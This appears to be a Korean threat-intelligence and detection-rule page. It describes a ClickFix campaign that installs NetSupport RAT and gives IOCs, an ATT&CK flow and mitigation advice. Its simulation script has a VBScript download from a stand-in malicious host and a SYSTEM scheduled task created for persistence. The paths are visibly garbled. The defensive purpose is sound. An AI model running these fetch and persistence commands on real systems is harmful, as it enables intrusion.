알 수 없는 로더에 의해 배포된 NetSupport RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이전에 식별되지 않았던 원격 액세스 도구가 악성 NetSupport Manager RAT 패키지를 전달하는 때 관찰되었습니다. 초기 악성코드는 명령 및 제어 서버와 89.110.110.119 TCP 포트 443 에서 인코딩된 트래픽을 사용하여 통신했습니다. SmartApeSG ClickFix로 추적된 이 캠페인은 악성 스크립트와 CAB 아카이브에 의존하여 피해자의 시스템에 NetSupport RAT를 설치했습니다.
조사
조사 결과 악성 URL, IP 주소 및 ProgramData 디렉토리에 기록된 파일을 포함한 여러 지표가 발견되었습니다. 초기 RAT는 NetSupport RAT를 setup.cab 아카이브에서 추출 및 설치하는 배치 스크립트를 전달했습니다. 설치가 완료된 후 지원 파일은 활동의 가시적 흔적을 줄이기 위해 제거되었습니다.
완화
조직은 식별된 악성 IP 주소와 도메인으로의 네트워크 트래픽을 차단하고 ProgramData에서의 참조 파일 생성 여부를 모니터링해야 합니다. 끝점 방어는 의심스러운 VBScript 및 배치 파일 실행을 감지하고, 네트워크 모니터링은 포트에서 인코딩된 트래픽에 대한 더 엄격한 통제를 적용해야 합니다. 443.
대응
방어자는 나열된 지표에 대한 경고를 발생시키고, 영향을 받은 시스템을 격리하며, 포렌식 분석을 수행하여 지속성 메커니즘을 밝혀내야 합니다. 악성 파일은 제거하고, 승인되지 않은 변경 사항은 되돌려야 하며, 방화벽 정책은 식별된 명령 및 제어 인프라와의 아웃바운드 통신을 차단하도록 업데이트되어야 합니다.
graph TB %% 클래스 정의 classDef action fill:#c2f0c2 node_a[“<b>행위</b> – <b>T1204.001 사용자 실행: 악성 링크</b><br/><b>설명</b>: 피해자가 감염된 웹페이지에서 악성 JavaScript를 로드함.”] class node_a action node_b[“<b>행위</b> – <b>T1027.006 난독화 파일: HTML 스머글링</b><br/><b>설명</b>: HTML 스머글링 기법을 통해 인코딩된 스크립트를 전달함.”] class node_b action node_c[“<b>행위</b> – <b>T1059.005 스크립트 실행: Visual Basic</b><br/><b>설명</b>: processor.vbs가 token.bat를 시스템에 드롭함.”] class node_c action node_d[“<b>행위</b> – 배치 스크립트 실행<br/><b>결과</b>: NetSupport RAT을 호스트에 추출함.”] class node_d action node_e[“<b>행위</b> – <b>T1547.014 Active Setup</b> / <b>T1546.007 Netsh Helper DLL</b><br/><b>설명</b>: RAT을 C:\\ProgramData\\UpdateInstaller에 배치하여 지속성 확보.”] class node_e action node_f[“<b>행위</b> – <b>T1574.007 경로 가로채기</b> / <b>T1574.005 취약한 설치 권한</b><br/><b>설명</b>: PATH 조작 및 취약한 설치 권한을 통한 권한 상승.”] class node_f action node_g[“<b>행위</b> – <b>T1564 아티팩트 은폐</b> / <b>T1564.010 프로세스 인자 스푸핑</b><br/><b>설명</b>: 스테이징 파일 삭제 및 프로세스 인자 위조로 탐지 회피.”] class node_g action node_h[“<b>행위</b> – <b>T1571 비표준 포트</b> / <b>T1071.001 웹 프로토콜</b><br/><b>설명</b>: TCP 443을 통한 암호화된 웹 기반 C2 통신.”] class node_h action %% 연결 node_a –> node_b –> node_c –> node_d –> node_e –> node_f –> node_g –> node_h
공격 흐름
탐지
LOLBAS WScript / CScript (프로세스 생성에 의한)
보기
의심스러운 디렉토리에서 실행되는 가능성 있는 NetSupport Manager 바이너리 시도 (프로세스 생성에 의한)
보기
비정상적인 최상위 도메인(TLD) DNS 요청에 의한 의심스러운 명령 및 제어 (dns에 의한)
보기
탐지를 위한 IOC (HashSha256): 식별되지 않은 RAT 푸시 NetSupport RAT
보기
탐지를 위한 IOC (SourceIP): 식별되지 않은 RAT 푸시 NetSupport RAT
보기
탐지를 위한 IOC (DestinationIP): 식별되지 않은 RAT 푸시 NetSupport RAT
보기
스크립트와 CAB 파일을 통한 NetSupport RAT 감염 탐지 [Windows 파일 이벤트]
보기
초기 및 NetSupport RAT C2 통신의 탐지 [Windows 네트워크 연결]
보기
시뮬레이션 실행
사전 준비: 텔레메트리 & 기본 검사 사전 비행 점검이 통과해야만 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 필요한 정확한 텔레메트리를 생성하는 것을 목표로 합니다.
-
공격 내러티브 및 명령:
초기 발판을 가진 공격자는 Windows 호스트에C:ProgramData:으로 세 가지 악성 아티팩트를 떨어뜨립니다.– 메인 RAT 바이너리를 다운로드하는 Visual Basic 스크립트입니다.token.bat– 지속성을 위한 예약 작업을 생성하는 배치 파일입니다.setup.cab–에 DLL이 떨어지는 CAB 아카이브를 포함합니다.C:ProgramData을 통해 나중에 로드됩니다rundll32.exe.
공격자는 그런 다음 각 파일을 순차적으로 실행하여 Sigma 규칙에 의해 필요한 정확한 파일 경로를 포함하는 프로세스 생성 이벤트를 발생시킵니다.
-
회귀 테스트 스크립트:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # 목적: NetSupport RAT 감염 텔레메트리 재현 # ------------------------------------------------- $targetDir = "C:ProgramData" # 해당 디렉토리가 존재하는지 확인 if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. processor.vbs 떨어뜨리기 $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. token.bat 떨어뜨리기 $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. setup.cab 떨어뜨리기 (더미 CAB - 텍스트 파일 포함) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placeholder" # CAB 생성 – makecab (Windows 기본 도구 필요) & makecab.exe "$tempDirdummy.txt" $cabPath # 실행 단계 – 탐지 유발 Write-Host "`n[+] processor.vbs 실행 중" cscript.exe //B //Nologo $vbsPath Write-Host "[+] token.bat 실행 중" cmd.exe /c $batPath Write-Host "[+] setup.cab을 rundll32로 실행 중 (시뮬레이션 로드)" rundll32.exe "$cabPath",DummyEntryPoint # CAB 생성에 사용된 임시 폴더 정리 Remove-Item -Recurse -Force $tempDir -
정리 명령:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # token.bat로 생성된 예약 작업 제거 schtasks /delete /tn "NetSupportPersist" /f Write-Host "정리 완료."